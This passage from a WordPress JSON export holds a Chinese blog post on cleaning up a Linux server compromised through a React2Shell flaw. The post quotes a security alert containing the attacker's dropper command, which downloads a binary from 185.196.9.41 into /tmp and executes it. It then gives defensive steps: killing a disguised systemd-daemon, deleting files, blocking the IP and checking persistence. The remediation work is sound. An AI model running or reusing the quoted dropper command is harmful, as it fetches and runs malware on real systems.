(<code>usermod -s \/sbin\/nologin admin<\/code>)\u3002<\/li>\n<li><strong>\u68c0\u67e5 admin \u7528\u6237\u662f\u5426\u662f\u9ed1\u5ba2\u521b\u5efa\u7684\uff1a<\/strong> \u5982\u679c\u4f60\u672c\u6765\u6ca1\u6709 <code>admin<\/code> \u8fd9\u4e2a\u7528\u6237\uff0c\u6216\u8005\u4f60\u4e0d\u4f7f\u7528\u5b83\uff0c\u5efa\u8bae\u76f4\u63a5\u5220\u9664\uff1a<pre><code class=\"language-bash\">sudo userdel -r admin\n<\/code><\/pre>\n<em>(\u6ce8\u610f\uff1a<code>-r<\/code> \u4f1a\u540c\u65f6\u5220\u9664\u8be5\u7528\u6237\u7684\u5bb6\u76ee\u5f55\u6587\u4ef6\uff0c\u5982\u679c\u4f60\u9700\u8981\u4fdd\u7559\u6587\u4ef6\u53d6\u8bc1\uff0c\u8bf7\u5148\u5907\u4efd)<\/em><\/li>\n<\/ol>\n<h2 class=\"wp-block-heading\">\u516d.  \u5b89\u5168\u8b66\u544a\u5904\u7406<\/h2>\n<p>\u6536\u5230\u5b89\u5168\u8b66\u544a\uff1a<\/p>\n<pre><code>\u7528\u6237\u540d\nroot\n\u547d\u4ee4\u884c\n\/bin\/sh -c wget http:\/\/185.196.9.41:19191\/uamd642 -O \/tmp\/um2 &amp;&amp; chmod +x \/tmp\/um2 &amp;&amp; \/tmp\/um2 &amp;&amp; rm -f \/tmp\/um2\n\u8fdb\u7a0bID\n556667\n\u7236\u8fdb\u7a0bID\n555041\n\u8fdb\u7a0b\u94fe\n-[729]  \/bin\/systemd-daemon --user\n    -[555038]  \/tmp\/xxvvxx\n        -[555039]  \/tmp\/xxvvxx\n            -[555040]  \/tmp\/xxvvxx\n                -[555041]  \/tmp\/xxvvxx\n<\/code><\/pre>\n<pre><code>root@Server:~# ps -ef |grep 729\nroot         729       1  0 Dec06 ?        00:00:11 \/bin\/systemd-daemon --user\nroot      555038     729  0 Dec10 ?        00:00:00 [xxvvxx] &lt;defunct&gt;\nroot      563963  562517  0 10:23 pts\/0    00:00:00 grep 729\nr\n<\/code><\/pre>\n<p>\u8fd9\u8868\u660e\u670d\u52a1\u5668\u4e0a\u6709\u4e00\u4e2a<strong>\u6bcd\u4f53\u75c5\u6bd2\u8fdb\u7a0b\uff08PID 729\uff09<\/strong>\uff0c\u5b83\u6b63\u5728\u4e0d\u65ad\u5730\u5c1d\u8bd5\u4ece\u8fdc\u7a0b\u9ed1\u5ba2\u670d\u52a1\u5668\uff08<code>185.196.9.41<\/code>\uff09\u4e0b\u8f7d\u65b0\u7684\u75c5\u6bd2\u53d8\u79cd\u5e76\u6267\u884c\u3002<\/p>\n<p><strong>\u6838\u5fc3\u95ee\u9898\u5206\u6790\uff1a<\/strong><\/p>\n<ol>\n<li><strong>\u4f2a\u88c5\u7684\u6bcd\u4f53\uff1a<\/strong> <code>\/bin\/systemd-daemon<\/code> \u662f\u4e00\u4e2a<strong>\u4f2a\u88c5\u7684\u6076\u610f\u6587\u4ef6<\/strong>\u3002\u6b63\u5e38\u7684 Linux \u7cfb\u7edf\u4e2d\uff0csystemd \u7684\u8def\u5f84\u901a\u5e38\u662f <code>\/lib\/systemd\/systemd<\/code> \u6216 <code>\/usr\/lib\/systemd\/systemd<\/code>\uff0c\u7edd\u5bf9\u4e0d\u4f1a\u5728 <code>\/bin<\/code> \u4e0b\u53eb <code>systemd-daemon<\/code>\u3002<\/li>\n<li><strong>\u8fdb\u7a0b\u94fe\uff1a<\/strong> \u8fd9\u4e2a\u4f2a\u88c5\u8fdb\u7a0b (PID 729) \u884d\u751f\u51fa\u4e86 <code>xxvvxx<\/code> (\u968f\u673a\u547d\u540d\u7684\u6076\u610f\u8fdb\u7a0b)\uff0c\u7136\u540e <code>xxvvxx<\/code> \u8c03\u7528 <code>wget<\/code> \u4e0b\u8f7d\u65b0\u7684\u6728\u9a6c\u3002<\/li>\n<li><strong>\u6301\u4e45\u5316\uff1a<\/strong> PID 729 \u7684\u7236\u8fdb\u7a0b\u662f 1 (init\/systemd)\uff0c\u4e14\u542f\u52a8\u65f6\u95f4\u662f Dec 06\uff0c\u8bf4\u660e\u5b83\u5df2\u7ecf\u4f5c\u4e3a\u7cfb\u7edf\u670d\u52a1\u8fd0\u884c\u4e86\u597d\u51e0\u5929\u4e86\u3002<\/li>\n<\/ol>\n<hr \/>\n<h3 class=\"wp-block-heading\">\u7d27\u6025\u5904\u7406\u6b65\u9aa4<\/h3>\n<p>\u8bf7\u7acb\u5373\u6309\u987a\u5e8f\u6267\u884c\u4ee5\u4e0b\u64cd\u4f5c\uff0c<strong>\u5207\u52ff\u62d6\u5ef6<\/strong>\uff1a<\/p>\n<h4 class=\"wp-block-heading\">1. \u5904\u51b3\u6bcd\u4f53\u8fdb\u7a0b<\/h4>\n<p>\u5fc5\u987b\u5148\u6740\u6389\u8fd9\u4e2a\u4f2a\u88c5\u7684 <code>systemd-daemon<\/code>\uff0c\u5426\u5219\u5b83\u4f1a\u65e0\u9650\u91cd\u542f\u4e0b\u8f7d\u4efb\u52a1\u3002<\/p>\n<pre><code class=\"language-bash\"># \u5f3a\u5236\u6740\u6b7b PID 729\nkill -9 729\n\n# \u518d\u6b21\u786e\u8ba4\u662f\u5426\u8fd8\u6709\u540d\u4e3a systemd-daemon \u7684\u8fdb\u7a0b\nps -ef | grep systemd-daemon\n<\/code><\/pre>\n<h4 class=\"wp-block-heading\">2. \u5220\u9664\u6076\u610f\u6bcd\u4f53\u6587\u4ef6<\/h4>\n<p>\u65e2\u7136\u786e\u8ba4\u5b83\u662f\u75c5\u6bd2\uff0c\u7acb\u5373\u5220\u9664\u3002<\/p>\n<pre><code class=\"language-bash\"># \u67e5\u770b\u6587\u4ef6\u5c5e\u6027\uff08\u53ef\u80fd\u4f1a\u770b\u5230 immutable \u5c5e\u6027\uff09\nlsattr \/bin\/systemd-daemon\n\n# \u89e3\u9501\u6587\u4ef6\uff08\u5982\u679c\u88ab\u9501\u4f4f\u7684\u8bdd\uff09\nchattr -i \/bin\/systemd-daemon\n\n# \u5220\u9664\u6587\u4ef6\nrm -f \/bin\/systemd-daemon\n<\/code><\/pre>\n<h4 class=\"wp-block-heading\">3. \u6e05\u7406\u6b8b\u7559\u8fdb\u7a0b<\/h4>\n<p><code>xxvvxx<\/code> \u662f\u884d\u751f\u7684\u5b50\u8fdb\u7a0b\uff0c\u4e5f\u9700\u8981\u6e05\u7406\u3002<\/p>\n<pre><code class=\"language-bash\"># \u6740\u6b7b\u6240\u6709\u540d\u4e3a xxvvxx \u7684\u8fdb\u7a0b\npkill -9 xxvvxx\n\n# \u6740\u6b7b\u6240\u6709\u540d\u4e3a um2 \u7684\u8fdb\u7a0b\uff08\u8fd9\u662f\u4e0b\u8f7d\u4e0b\u6765\u7684\u65b0\u75c5\u6bd2\uff09\npkill -9 um2\n<\/code><\/pre>\n<h4 class=\"wp-block-heading\">4. \u5c01\u9501\u6076\u610f IP<\/h4>\n<p>\u9ed1\u5ba2\u7684\u4e0b\u8f7d\u670d\u52a1\u5668\u662f <code>185.196.9.41<\/code>\uff0c\u5728\u9632\u706b\u5899\u5c42\u9762\u76f4\u63a5\u5c01\u6b7b\u5b83\u3002<\/p>\n<pre><code class=\"language-bash\"># \u4f7f\u7528 iptables \u5c01\u7981\u51fa\u53e3\u548c\u5165\u53e3\niptables -I INPUT -s 185.196.9.41 -j DROP\niptables -I OUTPUT -d 185.196.9.41 -j DROP\n<\/code><\/pre>\n<h4 class=\"wp-block-heading\">5. \u6e05\u7406 \/tmp \u76ee\u5f55<\/h4>\n<p>\u75c5\u6bd2\u901a\u8fc7 <code>wget<\/code> \u4e0b\u8f7d\u5230\u4e86 <code>\/tmp<\/code> \u76ee\u5f55\u3002\u867d\u7136\u547d\u4ee4\u4e2d\u6709 <code>rm -f<\/code>\uff0c\u4f46\u4e3a\u4e86\u4fdd\u9669\uff0c\u624b\u52a8\u68c0\u67e5\u4e00\u4e0b\u3002<\/p>\n<pre><code class=\"language-bash\">ls -al \/tmp\/\n# \u5982\u679c\u770b\u5230 um2, xxvvxx \u6216\u5176\u4ed6\u53ef\u7591\u6587\u4ef6\uff0c\u5168\u90e8\u5220\u9664\nrm -f \/tmp\/um2\nrm -f \/tmp\/xxvvxx\n<\/code><\/pre>\n<hr \/>\n<h3 class=\"wp-block-heading\">\u6eaf\u6e90\u4e0e\u6839\u9664 (\u5982\u4f55\u9632\u6b62\u590d\u6d3b)<\/h3>\n<p>\u65e2\u7136 PID 729 \u7684\u7236\u8fdb\u7a0b\u662f 1\uff0c\u8bf4\u660e\u5b83\u88ab\u914d\u7f6e\u6210\u4e86\u5f00\u673a\u81ea\u542f\u7684\u670d\u52a1\u3002\u4f60\u521a\u624d\u5220\u9664\u4e86\u6587\u4ef6\uff0c\u4f46\u914d\u7f6e\u6587\u4ef6\u8fd8\u5728\u3002<\/p>\n<p><strong>\u5fc5\u987b\u627e\u5230\u5b83\u662f\u600e\u4e48\u542f\u52a8\u7684\uff1a<\/strong><\/p>\n<ol>\n<li>\n<p><strong>\u68c0\u67e5 Systemd \u670d\u52a1\uff1a<\/strong>\n\u641c\u7d22\u5305\u542b\u8be5\u8def\u5f84\u7684\u670d\u52a1\u6587\u4ef6\uff1a<\/p>\n<pre><code class=\"language-bash\">grep -r &quot;\/bin\/systemd-daemon&quot; \/etc\/systemd\/system\/\ngrep -r &quot;\/bin\/systemd-daemon&quot; \/usr\/lib\/systemd\/system\/\n<\/code><\/pre>\n<p><em>\u5982\u679c\u627e\u5230\uff08\u4f8b\u5982\u53eb <code>system-daemon.service<\/code>\uff09\uff0c\u8bf7\u6267\u884c\uff1a<\/em><\/p>\n<pre><code class=\"language-bash\">systemctl stop &lt;\u670d\u52a1\u540d&gt;\nsystemctl disable &lt;\u670d\u52a1\u540d&gt;\nrm &lt;\u6587\u4ef6\u8def\u5f84&gt;\nsystemctl daemon-reload\n<\/code><\/pre>\n<\/li>\n<li>\n<p><strong>\u68c0\u67e5 Cron \u5b9a\u65f6\u4efb\u52a1\uff1a<\/strong>\n\u9ed1\u5ba2\u53ef\u80fd\u901a\u8fc7 Cron \u6bcf\u5206\u949f\u68c0\u67e5\u4e00\u6b21\u6bcd\u4f53\u662f\u5426\u5b58\u6d3b\u3002<\/p>\n<pre><code class=\"language-bash\">grep -r &quot;systemd-daemon&quot; \/var\/spool\/cron\/\ngrep -r &quot;185.196.9.41&quot; \/var\/spool\/cron\/\n<\/code><\/pre>\n<\/li>\n<li>\n<p><strong>\u68c0\u67e5 \/etc\/init.d\/\uff1a<\/strong><\/p>\n<pre><code class=\"language-bash\">ls -l \/etc\/init.d\/ | grep systemd-daemon\n<\/code><\/pre>\n<\/li>\n<\/ol>\n<h3 class=\"wp-block-heading\">\u603b\u7ed3<\/h3>\n<p>\u670d\u52a1\u5668\u76ee\u524d\u5904\u4e8e**\u201c\u50f5\u5c38\u7f51\u7edc\u8089\u9e21\u201d**\u72b6\u6001\u3002<\/p>\n<ul>\n<li>\u4e4b\u524d\u7684 <code>xmrig<\/code> \u662f\u6316\u77ff\u3002<\/li>\n<li><code>\/etc\/sshd<\/code> \u662f\u540e\u95e8\u3002<\/li>\n<li>\u73b0\u5728\u7684 <code>\/bin\/systemd-daemon<\/code> \u662f\u4e0b\u8f7d\u5668\/Dropper\u3002<\/li>\n<\/ul>\n<p>\u8fd9\u8bf4\u660e\u9ed1\u5ba2\u690d\u5165\u4e86\u591a\u5957\u6076\u610f\u8f6f\u4ef6\u3002<strong>\u518d\u6b21\u5f3a\u70c8\u5efa\u8bae\uff1a\u5728\u5907\u4efd\u91cd\u8981\u6570\u636e\u540e\uff0c\u91cd\u88c5\u7cfb\u7edf\u662f\u552f\u4e00\u80fd\u786e\u4fdd 100% \u5b89\u5168\u7684\u65b9\u6848\u3002<\/strong> \u5982\u679c\u4e0d\u80fd\u91cd\u88c5\uff0c\u8bf7\u52a1\u5fc5\u4ed4\u7ec6\u6267\u884c\u4e0a\u8ff0\u6240\u6709\u6e05\u7406\u6b65\u9aa4\uff0c\u5e76\u5b89\u88c5 <code>ClamAV<\/code> \u7b49\u6740\u6bd2\u8f6f\u4ef6\u8fdb\u884c\u5168\u76d8\u626b\u63cf\u3002<\/p>","protected":false},"excerpt":{"rendered":"<p>\u72b6\u51b5\u4e0e\u8fd9\u4e2a\u76f8\u540c\uff1a <a href=\"https:\/\/www.huntress.com\/blog\/peerblight-linux\">https:\/\/www.huntress.com\/blog\/peerblight-linux<\/a> &hellip; <a href=\"https:\/\/dingxuan.info\/wp\/?p=6530\" class=\"more-link\">\u7ee7\u7eed\u9605\u8bfb<span class=\"screen-reader-text\">\u4fee\u590dReact2Shell\u6f0f\u6d1e\u5bfc\u81f4\u670d\u52a1\u5668\u6743\u9650\u6cc4\u9732 \u4e4b\u4e00<\/span><\/a><\/p>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[117],"tags":[],"class_list":["post-6530","post","type-post","status-publish","format-standard","hentry","category-network"],"_links":{"self":[{"href":"https:\/\/dingxuan.info\/wp\/index.php?rest_route=\/wp\/v2\/posts\/6530","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/dingxuan.info\/wp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/dingxuan.info\/wp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/dingxuan.info\/wp\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/dingxuan.info\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=6530"}],"version-history":[{"count":2,"href":"https:\/\/dingxuan.info\/wp\/index.php?rest_route=\/wp\/v2\/posts\/6530\/revisions"}],"predecessor-version":[{"id":6532,"href":"https:\/\/dingxuan.info\/wp\/index.php?rest_route=\/wp\/v2\/posts\/6530\/revisions\/6532"}],"wp:attachment":[{"href":"https:\/\/dingxuan.info\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=6530"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/dingxuan.info\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=6530"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/dingxuan.info\/wp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=6530"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}